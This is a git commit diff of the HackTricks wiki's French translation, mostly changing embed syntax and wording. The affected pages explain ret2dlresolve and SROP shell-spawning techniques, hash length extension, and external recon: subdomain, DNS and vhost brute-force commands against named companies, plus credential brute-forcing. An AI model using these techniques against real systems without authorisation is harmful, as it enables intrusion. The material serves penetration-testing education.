mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente
This commit is contained in:
Translator
parent
f78fba428b
commit
61fec80d29
@ -69,6 +69,12 @@ def ref(matchobj):
|
||||
return result
|
||||
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||
return new_content
|
||||
|
||||
|
||||
def iterate_chapters(sections):
|
||||
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
|
||||
return
|
||||
@ -99,6 +105,7 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
content = json.dumps(book)
|
||||
|
||||
@ -1,13 +1,10 @@
|
||||
# HackTricks
|
||||
|
||||
Reading time: {{ #reading_time }}
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion design par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> **Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking que j'ai apprise lors de CTF, d'applications réelles, de lectures de recherches et d'actualités.**
|
||||
> [!TIP] > **Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking/quoi que ce soit que j'ai appris des CTF, des applications de la vie réelle, en lisant des recherches et des nouvelles.**
|
||||
|
||||
Pour commencer, suivez cette page où vous trouverez le **flux typique** que **vous devriez suivre lors de pentesting** d'une ou plusieurs **machines :**
|
||||
|
||||
@ -35,7 +32,9 @@ Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://b
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -47,7 +46,9 @@ Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://b
|
||||
|
||||
**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -56,11 +57,13 @@ Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://b
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.
|
||||
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -78,7 +81,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
||||
|
||||
---
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - L'outil essentiel pour le test de pénétration
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - L'outil essentiel pour le pentesting
|
||||
|
||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -86,7 +89,9 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -97,9 +102,9 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
||||
**SerpApi** propose des API en temps réel rapides et faciles pour **accéder aux résultats des moteurs de recherche**. Ils extraient des moteurs de recherche, gèrent des proxies, résolvent des captchas et analysent toutes les données structurées riches pour vous.
|
||||
|
||||
Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 API différentes pour extraire différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.\
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire des résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, images et vidéos en ligne, graphiques de connaissances et autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire des résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, images et vidéos en ligne, graphiques de connaissances, et d'autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
|
||||
Les clients actuels de SerpApi incluent **Apple, Shopify et GrubHub**.\
|
||||
Les clients actuels de SerpApi incluent **Apple, Shopify, et GrubHub**.\
|
||||
Pour plus d'informations, consultez leur [**blog**](https://serpapi.com/blog/)**,** ou essayez un exemple dans leur [**playground**](https://serpapi.com/playground)**.**\
|
||||
Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sign_up)**.**
|
||||
|
||||
@ -111,7 +116,9 @@ Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sig
|
||||
|
||||
Apprenez les technologies et compétences nécessaires pour effectuer des recherches sur les vulnérabilités, des tests de pénétration et de l'ingénierie inverse pour protéger les applications et appareils mobiles. **Maîtrisez la sécurité iOS et Android** grâce à nos cours à la demande et **obtenez une certification** :
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -125,13 +132,15 @@ WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils f
|
||||
|
||||
Une autre chose intéressante à propos de WebSec est qu'à la différence de la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne le payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.nl/en/) et [**blog**](https://websec.nl/blog/) !
|
||||
|
||||
En plus de ce qui précède, WebSec est également un **soutien engagé de HackTricks.**
|
||||
En plus de cela, WebSec est également un **soutien engagé de HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
{{#endref}}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
Consultez-les dans :
|
||||
Vérifiez-les dans :
|
||||
|
||||
{{#ref}}
|
||||
welcome/hacktricks-values-and-faq.md
|
||||
|
||||
@ -10,14 +10,16 @@ La fonction **`_dl_runtime_resolve`** prend de la pile des références à certa
|
||||
|
||||
Par conséquent, il est possible de **falsifier toutes ces structures** pour faire en sorte que la résolution dynamique lie le symbole demandé (comme la fonction **`system`**) et l'appelle avec un paramètre configuré (par exemple, **`system('/bin/sh')`**).
|
||||
|
||||
En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour être stockées par read à un emplacement connu, et ensuite la chaîne ROP continue en appelant **`_dl_runtime_resolve`**, lui faisant **résoudre l'adresse de `system`** dans les structures falsifiées et **appelant cette adresse** avec l'adresse de `$'/bin/sh'`.
|
||||
En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour être stockées par read à un emplacement connu, et ensuite la chaîne ROP continue en appelant **`_dl_runtime_resolve`**, lui faisant **résoudre l'adresse de `system`** dans les structures falsifiées et **appelant cette adresse** avec l'adresse de `'$'/bin/sh'`.
|
||||
|
||||
> [!TIP]
|
||||
> Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) et qu'il n'y a pas de moyens de leak les adresses libc.
|
||||
> Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) et qu'il n'y a pas de moyens de divulguer les adresses libc.
|
||||
|
||||
Regardez cette vidéo pour une bonne explication de cette technique dans la seconde moitié de la vidéo :
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
Ou consultez ces pages pour une explication étape par étape :
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
Après que le gestionnaire de signaux ait terminé, le programme doit **reprendre son état précédent** comme si rien ne s'était passé. C'est là que **`sigreturn`** entre en jeu. Il aide le programme à **retourner du gestionnaire de signaux** et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signaux.
|
||||
|
||||
La partie intéressante est comment **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile.** Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs**, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.
|
||||
La partie intéressante est comment **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile.** Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs de la pile**, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.
|
||||
|
||||
> [!CAUTION]
|
||||
> Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs des registres** que nous aimerions charger dans la **pile** permet de **contrôler** toutes les valeurs des registres et donc de **appeler** par exemple le syscall `execve` avec `/bin/sh`.
|
||||
@ -57,7 +57,9 @@ Si vous êtes curieux, voici la **structure sigcontext** stockée dans la pile p
|
||||
```
|
||||
Pour une meilleure explication, consultez également :
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Exemple
|
||||
|
||||
@ -132,7 +134,7 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bits, pas de relro, pas de canary, nx, pas de pie. Débordement de tampon simple abusant de la fonction `gets` avec un manque de gadgets qui effectue un [**ret2syscall**](../rop-syscall-execv/). La chaîne ROP écrit `/bin/sh` dans le `.bss` en appelant à nouveau gets, elle abuse de la fonction **`alarm`** pour définir eax à `0xf` afin d'appeler un **SROP** et d'exécuter un shell.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- Programme d'assemblage 64 bits, pas de relro, pas de canary, nx, pas de pie. Le flux permet d'écrire dans la pile, de contrôler plusieurs registres et d'appeler un syscall puis appelle `exit`. Le syscall sélectionné est un `sigreturn` qui définira les registres et déplacera `eip` pour appeler une instruction syscall précédente et exécuter `memprotect` pour définir l'espace binaire à `rwx` et définir l'ESP dans l'espace binaire. En suivant le flux, le programme appellera à nouveau read dans l'ESP, mais dans ce cas, l'ESP pointera vers l'instruction suivante, donc en passant un shellcode, il l'écrira comme l'instruction suivante et l'exécutera.
|
||||
- Programme d'assemblage 64 bits, pas de relro, pas de canary, nx, pas de pie. Le flux permet d'écrire dans la pile, de contrôler plusieurs registres et d'appeler un syscall puis appelle `exit`. Le syscall sélectionné est un `sigreturn` qui définira les registres et déplacera `eip` pour appeler une instruction syscall précédente et exécuter `memprotect` pour définir l'espace binaire à `rwx` et définir l'ESP dans l'espace binaire. En suivant le flux, le programme appellera à nouveau read dans ESP, mais dans ce cas, l'ESP pointera vers l'instruction suivante, donc passer un shellcode l'écrira comme l'instruction suivante et l'exécutera.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP est utilisé pour donner des privilèges d'exécution (memprotect) à l'endroit où un shellcode a été placé.
|
||||
|
||||
|
||||
@ -10,7 +10,9 @@
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Charge utile pour exécuter des commandes et récupérer la sortie via des requêtes DNS à burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
||||
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Hash Length Extension Attack
|
||||
# Attaque par extension de longueur de hachage
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -29,7 +29,9 @@ Si un attaquant veut ajouter la chaîne "append", il peut :
|
||||
|
||||
### **Outil**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
### Références
|
||||
|
||||
|
||||
@ -4,8 +4,12 @@ Si vous pouvez d'une manière ou d'une autre chiffrer un texte en clair en utili
|
||||
|
||||
Si vous pouvez chiffrer un texte en clair connu, vous pouvez également extraire le mot de passe. Plus de références peuvent être trouvées dans la machine HTB Kryptos :
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -27,7 +27,9 @@ Si un attaquant veut ajouter la chaîne "append", il peut :
|
||||
|
||||
## **Outil**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@ -4,8 +4,12 @@ Si vous pouvez d'une manière ou d'une autre chiffrer un texte en clair en utili
|
||||
|
||||
Si vous pouvez chiffrer un texte en clair connu, vous pouvez également extraire le mot de passe. Plus de références peuvent être trouvées dans la machine HTB Kryptos :
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Découvertes d'actifs
|
||||
|
||||
> On vous a dit que tout ce qui appartient à une entreprise est dans le champ d'application, et vous voulez découvrir ce que cette entreprise possède réellement.
|
||||
@ -20,14 +19,14 @@ Tout d'abord, nous devons savoir quelles **autres entreprises sont possédées p
|
||||
Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **chercher** la **société principale**, et **cliquer** sur "**acquisitions**". Là, vous verrez d'autres entreprises acquises par la principale.\
|
||||
Une autre option est de visiter la page **Wikipedia** de la société principale et de rechercher les **acquisitions**.
|
||||
|
||||
> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le champ d'application. Voyons comment trouver leurs actifs.
|
||||
> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le champ d'application. Découvrons comment trouver leurs actifs.
|
||||
|
||||
### **ASNs**
|
||||
|
||||
Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à un **système autonome** (AS) par l'**Internet Assigned Numbers Authority (IANA)**.\
|
||||
Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique clairement définie pour accéder aux réseaux externes et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs.
|
||||
|
||||
Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **champ d'application** et de **chercher des domaines** à l'intérieur de ces IPs.\
|
||||
Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **champ d'application** et de **chercher des domaines** à l'intérieur de ces IP.\
|
||||
Vous pouvez **chercher** par nom d'entreprise, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Selon la région de l'entreprise, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
|
||||
```bash
|
||||
@ -52,14 +51,14 @@ bbot -t tesla.com -f subdomain-enum
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Vous pouvez trouver les plages IP d'une organisation en utilisant également [http://asnlookup.com/](http://asnlookup.com) (il a une API gratuite).\
|
||||
Vous pouvez trouver les plages IP d'une organisation également en utilisant [http://asnlookup.com/](http://asnlookup.com) (il a une API gratuite).\
|
||||
Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
À ce stade, nous connaissons **tous les actifs à l'intérieur du périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
||||
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer un pentesting sur plusieurs services possibles en cours d'exécution.\
|
||||
**Il pourrait également être utile de mentionner que vous pouvez également préparer des listes de** noms d'utilisateur par défaut **et** mots de passe **et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des listes de** noms d'utilisateur par défaut **et** mots de passe **et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domaines
|
||||
|
||||
@ -67,7 +66,7 @@ De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#di
|
||||
|
||||
_Veuillez noter que dans les techniques proposées suivantes, vous pouvez également trouver des sous-domaines et que cette information ne doit pas être sous-estimée._
|
||||
|
||||
Tout d'abord, vous devriez rechercher le(s) **domaine(s) principal(aux)** de chaque entreprise. Par exemple, pour _Tesla Inc._, cela sera _tesla.com_.
|
||||
Tout d'abord, vous devriez rechercher le(s) **domaine(s) principal(aux)** de chaque entreprise. Par exemple, pour _Tesla Inc._, cela va être _tesla.com_.
|
||||
|
||||
### **DNS inversé**
|
||||
|
||||
@ -151,10 +150,10 @@ Il est courant d'avoir un travail cron tel que
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
pour renouveler tous les certificats de domaine sur le serveur. Cela signifie que même si le CA utilisé pour cela ne fixe pas le moment où il a été généré dans le temps de validité, il est possible de **trouver des domaines appartenant à la même entreprise dans les journaux de transparence des certificats**.\
|
||||
pour renouveler tous les certificats de domaine sur le serveur. Cela signifie que même si l'AC utilisée pour cela ne fixe pas le temps de génération dans le temps de validité, il est possible de **trouver des domaines appartenant à la même entreprise dans les journaux de transparence des certificats**.\
|
||||
Consultez ce [**writeup pour plus d'informations**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Informations sur le Mail DMARC
|
||||
### Informations DMARC Mail
|
||||
|
||||
Vous pouvez utiliser un site web tel que [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou un outil tel que [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) pour trouver **des domaines et des sous-domaines partageant les mêmes informations DMARC**.
|
||||
|
||||
@ -182,10 +181,8 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir
|
||||
|
||||
Vérifiez certains [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise.
|
||||
|
||||
Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour "les attaquer"**.\
|
||||
&#xNAN;_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||
|
||||
|
||||
Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour "les attaquer"**.\
|
||||
&#xNAN;_Notez que parfois le domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||
|
||||
## Sous-domaines
|
||||
|
||||
@ -194,11 +191,11 @@ Si vous trouvez un **domaine avec une IP différente** de celles que vous avez d
|
||||
Il est temps de trouver tous les sous-domaines possibles de chaque domaine trouvé.
|
||||
|
||||
> [!TIP]
|
||||
> Notez que certains des outils et techniques pour trouver des domaines peuvent également aider à trouver des sous-domaines
|
||||
> Notez que certains des outils et techniques pour trouver des domaines peuvent également aider à trouver des sous-domaines.
|
||||
|
||||
### **DNS**
|
||||
|
||||
Essayons d'obtenir des **sous-domaines** à partir des enregistrements **DNS**. Nous devrions également essayer pour un **Transfert de Zone** (s'il est vulnérable, vous devriez le signaler).
|
||||
Essayons d'obtenir des **sous-domaines** à partir des enregistrements **DNS**. Nous devrions également essayer le **Transfert de Zone** (s'il est vulnérable, vous devriez le signaler).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
@ -344,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
- [**gobuster**](https://github.com/OJ/gobuster) : Celui-ci, je pense, utilise juste 1 résolveur.
|
||||
- [**gobuster**](https://github.com/OJ/gobuster) : Celui-ci, je pense qu'il utilise juste 1 résolveur.
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
@ -406,21 +403,25 @@ echo www | subzuf facebook.com
|
||||
|
||||
Vérifiez cet article de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant **les flux Trickest** afin de ne pas avoir à lancer manuellement une multitude d'outils sur mon ordinateur :
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
### **VHosts / Hôtes virtuels**
|
||||
|
||||
Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pourriez essayer de **trouver d'autres sous-domaines avec des sites sur cette IP** en recherchant dans **des sources OSINT** des domaines dans une IP ou en **bruteforçant les noms de domaine VHost dans cette IP**.
|
||||
Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pourriez essayer de **trouver d'autres sous-domaines avec des sites sur cette IP** en recherchant dans **des sources OSINT** des domaines dans une IP ou en **brute-forçant les noms de domaine VHost dans cette IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
Vous pouvez trouver quelques **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**.
|
||||
Vous pouvez trouver quelques **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres API**.
|
||||
|
||||
**Brute Force**
|
||||
|
||||
Si vous soupçonnez qu'un sous-domaine peut être caché dans un serveur web, vous pourriez essayer de le bruteforcer :
|
||||
Si vous soupçonnez qu'un sous-domaine peut être caché dans un serveur web, vous pourriez essayer de le brute-forcer :
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
@ -435,7 +436,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||
VHostScan -t example.com
|
||||
```
|
||||
> [!NOTE]
|
||||
> Avec cette technique, vous pourrez même accéder à des points de terminaison internes/cachés.
|
||||
> Avec cette technique, vous pourriez même être en mesure d'accéder à des points de terminaison internes/cachés.
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
@ -450,7 +451,7 @@ De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, es
|
||||
|
||||
### **Surveillance**
|
||||
|
||||
Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** que [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fait.
|
||||
Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
